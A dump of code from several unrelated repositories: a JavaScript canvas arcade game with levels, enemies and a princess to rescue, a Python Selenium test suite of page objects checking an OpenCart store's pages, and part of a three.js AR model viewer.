level2Blocks.addBlock(370, undefined, 398, 390);
//river middle
level2Blocks.addBlock(150, 270, 230, 310);
//river middle north and rock
level2Blocks.addBlock(52, 270, 65, 225);
//river middle east
level2Blocks.addBlock(352, undefined, 148, 225);
/**
* @description Reponsible of keeping track of game progress and status
* @constructor
*/
var Game = function() {
this.gameRun = false;
this.paused = false;
this.gameOver = false;
this.endGame = false;
this.finishedGame = false;
this.displayMessage = true;
};
/**
* @description Being called whenever game should be start from the beginning.
*/
Game.prototype.gameReset = function() {
player.reset();
stars.forEach(function(star) {
star.status = 'onground';
star.renderStatus = 'yes';
});
selectors.forEach(function(selector) {
selector.status = 'onground';
selector.renderStatus = 'yes';
});
princess.status = 'onground';
princess.renderStatus = 'yes';
};
/**
* @description React space click button - restarting game, pausing
*/
Game.prototype.handleInput = function(key) {
if (key === 'spacebar' && this.gameRun === false) {
this.gameRun = true;
this.endGame = false;
this.finishedGame = false;
this.displayMessage = true;
startMessageTime();
this.gameReset();
} else if (key === 'spacebar' && this.paused === true) {
this.paused = false;
} else if (key === 'spacebar' && this.paused === false && !this.gameOver) {
this.paused = true;
} else if (key === 'spacebar' && this.gameOver === true) {
this.gameOver = false;
this.gameReset();
}
};
/**
* @description Timeout function called only on beginning of game (or after complition)
* to display "call for help" in rescuing the princess
*/
var startMessageTime = function() {
setTimeout(messageStart, 3000);
};
var messageStart = function() {
newGame.displayMessage = false;
};
/**
* @description Superclass of all the following classes
* @constructor
*/
var Character = function(x, y, sprite, width, height, status, renderStatus) {
this.x = x;
this.y = y;
this.sprite = sprite;
this.width = width;
this.height = height;
this.status = status;
this.renderStatus = renderStatus;
};
Character.prototype.update = function() {
this.checkStatus();
};
Character.prototype.render = function() {
if (this.renderStatus === 'yes') {
ctx.drawImage(Resources.get(this.sprite), this.x, this.y);
}
};
Character.prototype.checkStatus = function() {
};
/**
* @description Star object can be collected and adds to the lifecount so player can be survive
* touching the enemy
* @constructor
*/
var Star = function(x, y) {
Character.call(this, x, y, 'images/Star.png', 40, 40, 'onground', 'yes');
};
// Subclass of character uses inheritance
Star.prototype = Object.create(Character.prototype);
Star.prototype.constructor = Star;
/**
* @description Checks if star was picked, if yes it adds one to lifeCount
* and prevent further display of object
*/
Star.prototype.checkStatus = function() {
if (this.status === 'picked' && this.renderStatus === 'yes') {
player.lifeCount += 1;
this.renderStatus = 'no';
}
};
/**
* @description Appears on top of screen and shows how many lives player has for use
* @constructor
*/
var LifeCounter = function(x, y) {
Character.call(this, x, y, 'images/Heart.png');
};
LifeCounter.prototype = Object.create(Character.prototype);
LifeCounter.prototype.constructor = LifeCounter;
LifeCounter.prototype.render = function() {
ctx.font = '50px Luckiest Guy';
ctx.fillStyle = 'white';
ctx.drawImage(Resources.get(this.sprite), this.x, this.y);
ctx.fillText(player.lifeCount, this.x + 110, this.y + 130);
ctx.strokeText(player.lifeCount, this.x + 110, this.y + 130);
};
/**
* @description The npc which player is looking for, it can be picked and carried.
* However it will be dropped on collision with enemy even if player has lives left
* @constructor
*/
var Princess = function(x, y) {
Character.call(this, x, y, 'images/char-princess-girl.png', 20, 50, 'onground', 'yes');
};
Princess.prototype = Object.create(Character.prototype);
Princess.prototype.constructor = Princess;
Princess.prototype.checkStatus = function() {
if (this.status === 'picked') {
player.rescueStatus = 1;
this.renderStatus = 'no';
} else if (this.status === 'onground') {
player.rescueStatus = 0;
this.renderStatus = 'yes';
}
};
/**
* @description Transfer points showing the way for the player, each selector has unique
* events therefore their checkStatus functions are not defined in prototype
* @constructor
*/
var Selector = function(x, y) {
Character.call(this, x, y, 'images/Selector.png', 80, 50, 'onground', 'yes');
};
Selector.prototype = Object.create(Character.prototype);
Selector.prototype.constructor = Selector;
//Object selectors being created now, so unique checkStatus can be assigned.
var level1Selector = new Selector(0, -70);
var level1Selector2 = new Selector(101, 475);
var level2Selector = new Selector(0, 470);
/**
* @description level1Selector shows at the beginning and once touched changes level1 to level2
* it will appear again only if player drops the princess in level 1 so it possible
* to return to level2
*/
level1Selector.checkStatus = function() {
if (this.status === 'picked' && this.renderStatus === 'yes') {
player.level = 'level2';
player.x = 0;
player.y = 500;
this.renderStatus = 'no';
} else if (player.rescueStatus === 0 && player.level === 'level1') {
this.renderStatus = 'yes';
this.status = 'onground';
}
};
/**
* @description level1Selector2 shows when player comes back to level1 with the princess
* Once player gets to it, endGame is being changed to true, which starts
* animation + endMessageTime is being called which after 5 sec. Displaying
* end message and stops animation after 15 sec
*/
level1Selector2.checkStatus = function() {
if (player.rescueStatus === 1) {
this.renderStatus = 'yes';
if (this.status === 'picked') {
newGame.endGame = true;
endMessageTime();
}
} else if (player.rescueStatus === 0) {
this.renderStatus = 'no';
this.status = 'onground';
}
};
/**
* @description level2Selector shows in level2 when player picks up the princess,
* once player gets to it, the level2 will change to level1.
*/
level2Selector.checkStatus = function() {
if (player.rescueStatus === 0) {
this.renderStatus = 'no';
this.status = 'onground';
} else if (player.rescueStatus === 1 && player.level === 'level2') {
this.renderStatus = 'yes';
if (this.status === 'picked') {
player.level = 'level1';
player.x = 0;
player.y = -30;
this.renderStatus = 'no';
}
}
};
var endMessageTime = function() {
setTimeout(function() {
newGame.endGame = false;
newGame.finishedGame = true;
newGame.gameRun = false;
}, 15000);
};
/**
* @description Enemies our player must avoid
* @constructor
* @param {number} x1 - The left boundary of the bug moving
* @param {number} x2 - The right boundary of the bug moving
* @param {number} y - The y position of the bug
* @param {number} rate - The speed of the bug moving
*/
var Enemy = function(x1, x2, y, rate) {
Character.call(this, x1 + 20, y, 'images/enemy-bug.png', 70, 30);
this.rate = rate;
this.direction = 'right';
this.x1 = x1;
this.x2 = x2;
};
Enemy.prototype = Object.create(Character.prototype);
Enemy.prototype.constructor = Enemy;
/**
* @description Update the enemy's position, required method for game
* @param {number} dt - A time delta between ticks
*/
Enemy.prototype.update = function(dt) {
this.location();
this.picUpdate();
this.move(dt);
};
/**
* @description Checks if the object got to the end of it's path limited by
* x1 or x2 and then changes its direction
*/
Enemy.prototype.location = function(argument) {
if (this.x > this.x2) {
this.direction = 'left';
} else if (this.x - 8 < this.x1) {
this.direction = 'right';
}
};
/**
* @description Image changes based on direction
*/
Enemy.prototype.picUpdate = function() {
if (this.direction === 'right') {
this.sprite = 'images/enemy-bug.png';
} else if (this.direction === 'left') {
this.sprite = 'images/enemy-bug-left.png';
}
};
/**
* @description Base on direction status, enemy moves this way
*/
Enemy.prototype.move = function(dt) {
if (this.direction === 'left') {
this.x -= dt * this.rate;
} else if (this.direction === 'right') {
this.x += dt * this.rate;
}
};
/**
* @description Draw the enemy on the screen, required method for game
*/
Enemy.prototype.render = function() {
ctx.drawImage(Resources.get(this.sprite), this.x, this.y);
};
/**
* @description Player object storing various game details
* @constructor
*/
var Player = function() {
Character.call(this, 505, 505, 'images/char-boy.png', 20, 40);
this.state = 'stand';
this.location = 'block1';
this.lifeCount = 3;
this.rescueStatus = 0;
this.immortal = 0;
this.level = 'level1';
this.levelBlocks = level1Blocks;
};
Player.prototype = Object.create(Character.prototype);
Player.prototype.constructor = Player;
/**
* @description Update function called from Engine()
* @param {number} dt - A time delta between ticks
*/
Player.prototype.update = function(dt) {
// Multiply any movement by the dt parameter
// which will ensure the game runs at the same speed for
// all computers.
this.move(dt);
this.picUpdate();
this.levelCheck();
};
/**
* @description Checks on which level player currently is, assigning correct
* blocks. Additionally assigns list of items and enemies for display.
* level stores in Player object and changes on touching a selector
*/
Player.prototype.levelCheck = function() {
if (this.level === 'level1') {
this.levelBlocks = level1Blocks;
allEnemies = allEnemies1;
items = items1;
} else if (this.level === 'level2') {
this.levelBlocks = level2Blocks;
allEnemies = allEnemies2;
items = items2;
}
};
/**
* @description Draw the player on the screen, required method for game
*/
Player.prototype.render = function() {
ctx.drawImage(Resources.get(this.sprite), this.x, this.y);
};
/**
* @description Based on which key/button was pressed, assigned correct status
* which will be executed in Player.prototype.move for smooth animation.
* @param {number} key - the key/button which was pressed
*/
Player.prototype.handleInput = function(key) {
switch (key) {
case 'left':
this.state = 'move_left';
break;
case 'right':
this.state = 'move_right';
break;
case 'up':
this.state = 'move_up';
break;
case 'down':
this.state = 'move_down';
break;
case 'stand':
this.state = 'stand';
break;
}
};
/**
* @description As long as status in "move..." player will move in certain location
* unless position will not within currently assigned blocks.
* @param {number} dt - A time delta between ticks
*/
Player.prototype.move = function(dt) {
var x0 = this.x,
y0 = this.y;
if (this.state === 'move_left') {
this.x -= dt * 360;
}
if (this.state === 'move_right') {
this.x += dt * 360;
}
if (this.state === 'move_down') {
this.y += dt * 360;
}
if (this.state === 'move_up') {
this.y -= dt * 360;
}
for (var i = 0; i < this.levelBlocks.blocks.length; i++) {
if (this.x < this.levelBlocks.blocks[i].right && this.x + this.width > this.levelBlocks.blocks[i].left &&
this.y < this.levelBlocks.blocks[i].down && this.y + this.height > this.levelBlocks.blocks[i].up) {
this.x = x0;
this.y = y0;
break;
}
}
};
/**
* @description Changes picture of the player base on the event
* when princess is carried or after the touch of the bug - for few seconds player is
* immortal after the touch and then character is blue.
*/
Player.prototype.picUpdate = function() {
if (this.immortal > (Date.now() / 1000)) {
this.sprite = 'images/char-boy-immortal.png';
} else {
if (princess.status === 'picked') {
this.sprite = 'images/char-boy-carrying.png';
} else if (princess.status === 'onground') {
this.sprite = 'images/char-boy.png';
}
}
};
/**
* @description Put life count on zero and move player to start location
*/
Player.prototype.reset = function() {
this.lifeCount = 3;
this.rescueStatus = 0;
this.x = 505;
this.y = 505;
this.level = 'level1';
};
/**
* @description Colision check is inside Engine(), this function is being called if
* collision happened, and it checks if there is life left - if not starts gameOver status
* which freezes the game.
*/
Player.prototype.collision = function() {
if (this.lifeCount === 0) {
newGame.gameOver = true;
} else if (this.lifeCount > 0) {
this.immortal = Date.now() / 1000 + 2;
this.lifeCount -= 1;
princess.status = 'onground';
this.rescueStatus = 0;
}
};
/**
* @description Keydown addEventListener for moving a player on the map
* and pressing space for pause/restart game
*/
document.addEventListener('keydown', function(e) {
var allowedKeys = {
32: 'spacebar',
37: 'left',
38: 'up',
39: 'right',
40: 'down'
};
if (e.keyCode === 32) {
newGame.handleInput(allowedKeys[e.keyCode]);
} else {
player.handleInput(allowedKeys[e.keyCode]);
}
if (e.keyCode in allowedKeys) {
e.preventDefault();
}
});
/**
* @description Keyup event so player stops once key is no longer pressed.
*/
document.addEventListener('keyup', function(e) {
var allowedKeys = {
37: 'stand',
38: 'stand',
39: 'stand',
40: 'stand'
};
player.handleInput(allowedKeys[e.keyCode]);
});
//Jquery controls for on screen control buttons, adjusted also for touch devices.
//once buttons are pressed their css is being changed too
$(document).on('mouseup touchend', '#up, #left, #right, #down', function() {
player.handleInput('stand');
$('#up, #left , #right, #down').css('background', '#86d3e3');
});
$(document).on('mousedown touchstart', '#up', function() {
player.handleInput('up');
$('#up').css('background', '#acd7e0');
});
$(document).on('mousedown touchstart', '#left', function() {
player.handleInput('left');
$('#left').css('background', '#acd7e0');
});
$(document).on('mousedown touchstart', '#right', function() {
player.handleInput('right');
$('#right').css('background', '#acd7e0');
});
$(document).on('mousedown touchstart', '#down', function() {
player.handleInput('down');
$('#down').css('background', '#acd7e0');
});
$('#space').click(function() {
newGame.handleInput('spacebar');
});
//Creating enemies for level1
var enemy11 = new Enemy(-10, 140, 345, 100);
var enemy12 = new Enemy(65, 515, 175, 120);
var enemy13 = new Enemy(91, 515, 13, 140);
//Creating enemies for level2
var enemy21 = new Enemy(-10, 515, 428, 140);
var enemy22 = new Enemy(293, 515, 262, 160);
var enemy23 = new Enemy(-10, 515, 13, 180);
//Enemies being grouped in two list so they can changed, base on the level
var allEnemies2 = [enemy21, enemy22, enemy23];
var allEnemies1 = [enemy11, enemy12, enemy13];
var allEnemies = [];
//Other items
var star2 = new Star(505, 355);
var star1 = new Star(505, 100);
var princess = new Princess(101, 250);
var player = new Player();
//Items being grouped in list for game resart
var stars = [star2, star1];
var selectors = [level1Selector, level1Selector2, level2Selector];
//Items being grouped for level changes
var items2 = [star2, princess, level2Selector];
var items1 = [star1, level1Selector, level1Selector2];
var items = [];
var lifeCounter = new LifeCounter(470, -60);
var newGame = new Game(); | 4b413127b1c99080a39a96f8d7ced07d896104b9 | [
"Markdown",
"JavaScript"
] | 3 | Markdown | Gluneko/arcade-game | 8d6fed234b11aa788d165e9f9f3c21cff64ddea7 | a7ae254fd005b8682150c1c476b5091b3a13b3d3 |
refs/heads/main | <file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class ProductPage(BasePage):
PRODUCT_NAME = (By.CSS_SELECTOR, "#content h1")
PRODUCT_DESCRIPTION = (By.ID, "tab-description")
THUMBNAILS_IMAGES = (By.CSS_SELECTOR, "#content ul.thumbnails > li.image-additional > a.thumbnail > img")
ADD_TO_CART_BUTTON = (By.CSS_SELECTOR, "button[id='button-cart']")
QUANTITY_FORM_FIELD = (By.NAME, "quantity")
def verify_product_name(self, **kwargs):
self._wait_for_located(ProductPage.PRODUCT_NAME, **kwargs)
return self
def verify_thumbnails(self, **kwargs):
self._wait_for_all_visible(ProductPage.THUMBNAILS_IMAGES, **kwargs)
return self
def verify_add_to_cart_button(self, **kwargs):
self._wait_for_located(ProductPage.ADD_TO_CART_BUTTON, **kwargs)
return self
def verify_quantity_form_field(self, **kwargs):
self._wait_for_visible(ProductPage.QUANTITY_FORM_FIELD, **kwargs)
return self
def verify_product_description(self, **kwargs):
self._wait_for_visible(ProductPage.PRODUCT_DESCRIPTION, **kwargs)
return self
<file_sep>from selenium.webdriver.common.by import By
from .AdminPage import AdminPage
from .BasePage import BasePage
from .RestorePassPage import RestorePassPage
class AdminLoginPage(BasePage):
LOGIN_INVITATION = (By.XPATH, "//h1[text()=' Please enter your login details.']")
LOGIN_EMAIL = (By.NAME, "username")
LOGIN_PASSWORD = (By.NAME, "<PASSWORD>")
FORGOTTEN_PASSWORD_LINK = (By.LINK_TEXT, "<PASSWORD> Password")
LOGIN_BUTTON = (By.XPATH, "//button[text()=' Login']")
def verify_page(self):
return self.verify_log_in_invitation(wait=10)
def verify_log_in_invitation(self, **kwargs):
self._wait_for_located(AdminLoginPage.LOGIN_INVITATION, **kwargs)
return self
def verify_login_email_field(self, **kwargs):
self._wait_for_located(AdminLoginPage.LOGIN_EMAIL, **kwargs)
return self
def verify_login_password_field(self, **kwargs):
self._wait_for_located(AdminLoginPage.LOGIN_PASSWORD, **kwargs)
return self
def verify_forgotten_password_link(self, **kwargs):
self._wait_for_located(AdminLoginPage.FORGOTTEN_PASSWORD_LINK, **kwargs)
return self
def verify_login_button(self, **kwargs):
self._wait_for_clickable(AdminLoginPage.LOGIN_BUTTON, **kwargs)
return self
def login_user(self, email, password):
self._input(self.LOGIN_EMAIL, email)
self._input(self.LOGIN_PASSWORD, password)
self._click(self.LOGIN_BUTTON)
return AdminPage(self.driver)
def click_forgotten_password(self):
self._click(self.FORGOTTEN_PASSWORD_LINK)
return RestorePassPage(self.driver)
<file_sep>import pytest
from page_objects import CatalogPage
@pytest.fixture(params=["/index.php?route=product/category&path=20"], scope="function")
def catalog_page_browser(request, browser):
browser.get(browser.url + request.param)
return browser
def test_catalog_page(catalog_page_browser):
CatalogPage(catalog_page_browser) \
.verify_breadcrumbs_block() \
.verify_products_compare_link() \
.verify_banners() \
.verify_products() \
.verify_products_images()
<file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class MainPage(BasePage):
TOP_MENU = (By.CSS_SELECTOR, "#menu ul.navbar-nav")
CART = (By.ID, "cart")
FEATURED_PRODUCTS = (By.XPATH, "//h3[text()='Featured']/following-sibling::div[@class='row']")
LOGO = (By.XPATH, "//*[@id=\"logo\"]")
FOOTER = (By.CSS_SELECTOR, "footer")
def verify_top_menu(self, **kwargs):
self._wait_for_located(MainPage.TOP_MENU, **kwargs)
return self
def verify_cart(self, **kwargs):
self._wait_for_located(MainPage.CART, **kwargs)
return self
def verify_featured_products(self, **kwargs):
self._wait_for_located(MainPage.FEATURED_PRODUCTS, **kwargs)
return self
def verify_logo(self, **kwargs):
self._wait_for_located(MainPage.LOGO, **kwargs)
return self
def verify_footer(self, **kwargs):
self._wait_for_located(MainPage.FOOTER, **kwargs)
return self
<file_sep>import pytest
from page_objects import AdminPage, AdminLoginPage
@pytest.fixture(params=["/admin/"], scope="function")
def admin_page_browser(request, browser):
browser.get(browser.url + request.param)
return browser
# default docker opencart admin credentials
@pytest.fixture
def admin_credentials():
return "user", "<PASSWORD>"
@pytest.fixture
def unregistered_user_email():
return "<EMAIL>"
def test_admin_login_page(admin_page_browser):
AdminLoginPage(admin_page_browser) \
.verify_log_in_invitation() \
.verify_login_email_field() \
.verify_login_password_field() \
.verify_forgotten_password_link() \
.verify_login_button()
def test_admin_products(admin_page_browser, admin_credentials):
AdminLoginPage(admin_page_browser) \
.login_user(*admin_credentials) \
.verify_login(wait=10) \
.click_catalog_products() \
.verify_page(wait=10)
AdminPage(admin_page_browser).logout()
def test_restore_password(admin_page_browser, unregistered_user_email):
password_restore_page = AdminLoginPage(admin_page_browser).click_forgotten_password()
password_restore_page. \
verify_page(wait=10). \
send_email(unregistered_user_email) \
.verify_fail_result()
<file_sep>from .MainPage import MainPage
from .ProductPage import ProductPage
from .UserLoginPage import UserLoginPage
from .CatalogPage import CatalogPage
from .AdminLoginPage import AdminLoginPage
from .AdminPage import AdminPage
from .AdminProductsPage import AdminProductsPage
from .RestorePassPage import RestorePassPage
from .BasePage import BasePage
<file_sep># Основы Selenium
### Цель:
Научиться настраивать окружение для Selenium тестов, написать тесты, настроить ожидания к проекту. Научиться писать простые selenium скрипты.
Настроить Selenium для запуска тестов, подготовить фикстуры для браузеров.
---
### Задание 1:
- Написать фикстуру для запуска трех разных браузеров (ie, firefox, chrome) в полноэкранном режиме с опцией headless. Выбор браузера должен осуществляться путем передачи аргумента командной строки pytest. По завершению работы тестов должно осуществляться закрытие браузера.
- Добавить опцию командной строки, которая указывает базовый URL opencart.
- Написать тест, который открывает главную страницу opencart и проверяет, что мы находимся именно на странице приложения opencart.
---
### Задание 2
Написать тесты проверяющие наличие элементов на разных страницах приложения opencart. Реализовать минимум пять тестов (одни тест = одна страница приложения) Какие элементы проверять определить самостоятельно, но не меньше 5 для каждой страницы.
Покрыть нужно:
- Главную /
- Каталог /index.php?route=product/category&path=20
- Карточку товара /index.php?route=product/product&path=57&product_id=49
- Страницу логина /index.php?route=account/login
- Страницу логина в админку /admin/
---
### Задание 3
К существующим тестам добавить явные ожидания элементов.
- Реализовать 2 тестовых сценария на раздел администратора
- Добавить проверку перехода к разделу с товарами, что появляется таблица с товарами.<file_sep>import pytest
from page_objects import MainPage
@pytest.fixture(params=["/"], scope="function")
def main_page_browser(request, browser):
browser.get(browser.url + request.param)
return browser
def test_main_page(main_page_browser):
MainPage(main_page_browser) \
.verify_top_menu() \
.verify_cart() \
.verify_featured_products() \
.verify_logo() \
.verify_footer()
<file_sep>from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
class BasePage:
def __init__(self, driver):
self.driver = driver
def __element(self, selector: tuple, index: int):
return self.driver.find_elements(*selector)[index]
def _click(self, selector, index=0):
ActionChains(self.driver).move_to_element(self.__element(selector, index)).click().perform()
def _input(self, selector, value, index=0):
element = self.__element(selector, index)
element.clear()
element.send_keys(value)
def _wait_for_visible(self, selector, context=None, wait=3, wait_freq=1):
context = context or self.driver
try:
return WebDriverWait(context, wait, wait_freq).until(EC.visibility_of_element_located(selector))
except TimeoutError:
raise AssertionError()
def _wait_for_located(self, selector, context=None, wait=5, wait_freq=1):
context = context or self.driver
try:
return WebDriverWait(context, wait, wait_freq).until(EC.presence_of_all_elements_located(selector))
except TimeoutError:
raise AssertionError()
def _wait_for_all_located(self, selector, context=None, wait=5, wait_freq=1):
context = context or self.driver
try:
return WebDriverWait(context, wait, wait_freq).until(EC.presence_of_all_elements_located(selector))
except TimeoutError:
raise AssertionError()
def _wait_for_all_visible(self, selector, context=None, wait=5, wait_freq=1):
context = context or self.driver
try:
return WebDriverWait(context, wait, wait_freq).until(EC.visibility_of_all_elements_located(selector))
except TimeoutError:
raise AssertionError()
def _wait_for_clickable(self, selector, context=None, wait=5, wait_freq=1):
context = context or self.driver
try:
return WebDriverWait(context, wait, wait_freq).until(EC.element_to_be_clickable(selector))
except TimeoutError:
raise AssertionError()
def _get_element_text(self, selector, index):
return self.__element(selector, index).text
<file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class RestorePassPage(BasePage):
USER_EMAIL_FIELD = (By.NAME, "email")
SEND_EMAIL_BUTTON = (By.XPATH, "//button[text()=' Reset']")
EMAIL_NOT_FOUND_ALERT = \
(By.XPATH, "//div[contains(@class, 'alert') and contains(text(), 'E-Mail Address was not found')]")
def verify_page(self, **kwargs):
self._wait_for_located(RestorePassPage.USER_EMAIL_FIELD, **kwargs)
return self
def send_email(self, email):
self._input(RestorePassPage.USER_EMAIL_FIELD, email)
self._click(self.SEND_EMAIL_BUTTON)
return self
def verify_fail_result(self, **kwargs):
self._wait_for_located(RestorePassPage.EMAIL_NOT_FOUND_ALERT, **kwargs)
return self
<file_sep>from selenium.webdriver.common.by import By
from .AdminProductsPage import AdminProductsPage
from .BasePage import BasePage
class AdminPage(BasePage):
LOGOUT_LINK = (By.XPATH, "//header[@id='header']//a[contains(@href, 'logout')]")
MENU_CATALOG_LINK = (By.XPATH, "//ul[@id='menu']/li[@id='menu-catalog']/a[text()=' Catalog']")
MENU_PRODUCTS_LINK = (By.XPATH, "//ul[@id='menu']/li[@id='menu-catalog']//a[text()='Products']")
def verify_login(self, **kwargs):
self._wait_for_visible(AdminPage.LOGOUT_LINK, **kwargs)
return self
def click_catalog_products(self):
self._click(AdminPage.MENU_CATALOG_LINK)
self._wait_for_clickable(AdminPage.MENU_PRODUCTS_LINK)
self._click(AdminPage.MENU_PRODUCTS_LINK)
return AdminProductsPage(self.driver)
def logout(self):
self._click(AdminPage.LOGOUT_LINK)
<file_sep>import pytest
from page_objects import UserLoginPage
@pytest.fixture(params=["/index.php?route=account/login"], scope="function")
def user_login_page_browser(request, browser):
browser.get(browser.url + request.param)
return browser
def test_user_login_page(user_login_page_browser):
UserLoginPage(user_login_page_browser) \
.verify_registration_block() \
.verify_login_block() \
.verify_email_field() \
.verify_password_field() \
.verify_right_menu_items()
<file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class CatalogPage(BasePage):
BREADCRUMBS_BLOCK = (By.CLASS_NAME, "breadcrumb")
PRODUCTS_COMPARE_LINK = (By.CSS_SELECTOR, "#content a#compare-total")
BANNERS = (By.XPATH, '//aside[@id="column-left"]/div[@class="swiper-viewport"]//img')
PRODUCTS = (By.CSS_SELECTOR, "#content div.product-layout.product-grid")
PRODUCT_IMG = (By.XPATH, '//div[@class="product-thumb"]/div/a/img')
def verify_breadcrumbs_block(self, **kwargs):
self._wait_for_located(CatalogPage.BREADCRUMBS_BLOCK, **kwargs)
return self
def verify_products_compare_link(self, **kwargs):
self._wait_for_located(CatalogPage.PRODUCTS_COMPARE_LINK, **kwargs)
return self
def verify_banners(self, **kwargs):
self._wait_for_all_visible(CatalogPage.BANNERS, **kwargs)
return self
def get_products(self, **kwargs):
return self.driver.find_elements(*CatalogPage.PRODUCTS, **kwargs)
def verify_products(self):
assert len(self.get_products()), "Продукты не найдены"
return self
def verify_products_images(self):
missed = 0
for product in self.get_products():
if not self._wait_for_all_visible(CatalogPage.BANNERS, context=product):
missed += 1
if missed:
raise AssertionError(f"Для {missed} продуктов отсутствуют фотографии")
return self
<file_sep>from pathlib import Path
import pytest
import os
from selenium import webdriver
def pytest_addoption(parser):
parser.addoption("--maximized", action="store_true", help="Maximize browser windows")
parser.addoption("--headless", action="store_true", help="Run headless")
parser.addoption("--browser", action="store", choices=["chrome", "firefox", "edge"], default="chrome")
parser.addoption("--dir", action="store", default="d:\\services\\webdrivers",
help="Path to directory where webdrivers stored")
parser.addoption("--url", action="store", default="http://127.0.0.1",
help="base URL of Opencart app")
@pytest.fixture(scope="session")
def browser(request):
browser = request.config.getoption("--browser")
headless = request.config.getoption("--headless")
maximized = request.config.getoption("--maximized")
drivers_dir = request.config.getoption("--dir")
base_url = request.config.getoption("--url")
if browser == "chrome":
executable_path = Path(drivers_dir) / "chromedriver" if os.name != 'nt' else Path(
drivers_dir) / "chromedriver.exe"
options = webdriver.ChromeOptions()
options.headless = headless
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome(
options=options,
executable_path=str(executable_path)
)
elif browser == "firefox":
executable_path = Path(drivers_dir) / "geckodriver" if os.name != 'nt' else Path(
drivers_dir) / "geckodriver.exe"
options = webdriver.FirefoxOptions()
options.headless = headless
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
driver = webdriver.Firefox(
options=options,
executable_path=str(executable_path)
)
elif browser == "edge" and os.name == 'nt':
from msedge.selenium_tools import Edge, EdgeOptions
executable_path = Path(drivers_dir) / "msedgedriver.exe"
options = EdgeOptions()
options.use_chromium = True
options.headless = headless
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
driver = Edge(
options=options,
executable_path=str(executable_path)
)
else:
raise ValueError("Driver not supported: {}".format(browser))
if maximized:
driver.maximize_window()
driver.url = base_url
request.addfinalizer(driver.quit)
return driver
<file_sep>import pytest
@pytest.fixture(params=["/"], scope="function")
def app_browser(request, browser):
browser.get(browser.url + request.param)
return browser
def test_title(app_browser):
main_page_title = "Your Store"
assert app_browser.title == main_page_title
<file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class AdminProductsPage(BasePage):
PRODUCTS_TABLE = (By.XPATH, "//div[@id='content']/div[@class='container-fluid']/div[@class='row']/div[2]//table")
def verify_page(self, **kwargs):
self._wait_for_located(AdminProductsPage.PRODUCTS_TABLE, **kwargs)
return self
<file_sep>from selenium.webdriver.common.by import By
from .BasePage import BasePage
class UserLoginPage(BasePage):
REGISTRATION_BLOCK = (By.XPATH, "//div[@id='content']/div/div[1]")
LOGIN_FORM = (By.XPATH, "//div[@id='content']/div/div[2]")
EMAIL_FIELD = (By.NAME, "email")
PASSWORD_FIELD = (By.NAME, "<PASSWORD>")
RIGHT_MENU_ITEMS = (By.XPATH, "//aside[@id='column-right']/div[@class='list-group']/a")
def verify_registration_block(self, **kwargs):
self._wait_for_located(UserLoginPage.REGISTRATION_BLOCK, **kwargs)
return self
def verify_login_block(self, **kwargs):
self._wait_for_located(UserLoginPage.LOGIN_FORM, **kwargs)
return self
def verify_email_field(self, **kwargs):
self._wait_for_located(UserLoginPage.EMAIL_FIELD, **kwargs)
return self
def verify_password_field(self, **kwargs):
self._wait_for_located(UserLoginPage.PASSWORD_FIELD, **kwargs)
return self
def verify_right_menu_items(self, **kwargs):
self._wait_for_located(UserLoginPage.RIGHT_MENU_ITEMS, **kwargs)
return self
<file_sep>import pytest
from page_objects import ProductPage
@pytest.fixture(params=["/index.php?route=product/product&path=57&product_id=49"], scope="function")
def card_page_browser(request, browser):
browser.get(browser.url + request.param)
return browser
def test_card_page(card_page_browser):
ProductPage(card_page_browser) \
.verify_product_name() \
.verify_thumbnails() \
.verify_add_to_cart_button() \
.verify_quantity_form_field() \
.verify_product_description()
| 913a7e3f9541654b627ec07ca2504835af253100 | [
"Markdown",
"Python"
] | 18 | Python | BGont/qa_selenium | d3139279b2398be310ad15ffdf3797a920fd9f7a | 502f554472fae4c7487657f27c6e7a0014abf3c8 |
refs/heads/master | <repo_name>Umizoko/MarkerTheDance<file_sep>/src/js/module/GLTFModel.js
/**
*GLTFモデルの読み込み
*
* @export
* @class GLTFModel
*/
export default class GLTFModel {
/**
*Creates an instance of GLTFModel.
* @param {String} filename
* @param {THREE.Scene} scene
* @param {THREE.Group} group
* @memberof GLTFModel
*/
constructor( filename, scene, group ) {
this._filename = filename;
this._scene = scene;
this._group = group;
this._mixier;
this._clock = new THREE.Clock();
}
/**
*初期化
*
* @memberof GLTFModel
*/
init() {
// gltf loader
const loader = new THREE.GLTFLoader();
loader.load(
this._filename,
( gltf ) => {
// animaiton再生
const animations = gltf.animations;
const object = gltf.scene;
if ( animations && animations.length ) {
let i;
this._mixier = new THREE.AnimationMixer( object );
for ( i = 0; i < animations.length; i++ ) this._mixier.clipAction( animations[ i ] ).play();
}
// modelをgroupに追加
this._group.add( object );
},
( xhr ) => ( console.log( ( xhr.loaded / xhr.total * 100 ) + '% loaded' ) ),
( error ) => ( console.log( 'An error happened ', error ) )
);
}
/**
*update
*
* @memberof GLTFModel
*/
update() {
if ( this._mixier ) this._mixier.update( this._clock.getDelta() );
}
}
<file_sep>/README.md
# MarkerTheDance
AR Model Viewer

## Description
WEB 版 AR Model Viewer
Marker([HIRO.jpg](./marker/HIRO.jpg))を認識すると、Marker 上に表示する
Web Auido API を使用し、Marker を認識すると Audio の Volume が大きくなる
website: [https://umizoko.github.io/MarkerTheDance/](https://umizoko.github.io/MarkerTheDance/)
## Requirement
- three.js
- AR.js
- HIRO.jpg
- Web Audio API
<file_sep>/src/js/index.js
import Engine from './Engine'
// ロード後の処理
window.addEventListener( 'load', () => {
const scene = new Engine( 'threeCanvas' );
scene.init();
} );
<file_sep>/src/js/module/Audio.js
/**
*Audioを制御するクラス
*
* @export
* @class Audio
*/
export default class Audio {
/**
*Creates an instance of Audio.
* @param {AudioBuffer} bufferNow
* @param {AudioContext} context
* @memberof Audio
*/
constructor( bufferNow, context ) {
this.playNow = this.createSource( bufferNow, context );
this.source = this.playNow.source;
this.gainNode = this.playNow.gainNode;
// Play the playNow track.
this.source.start( 0 );
// volume 0
this.gainNode.gain.value = 0;
}
/**
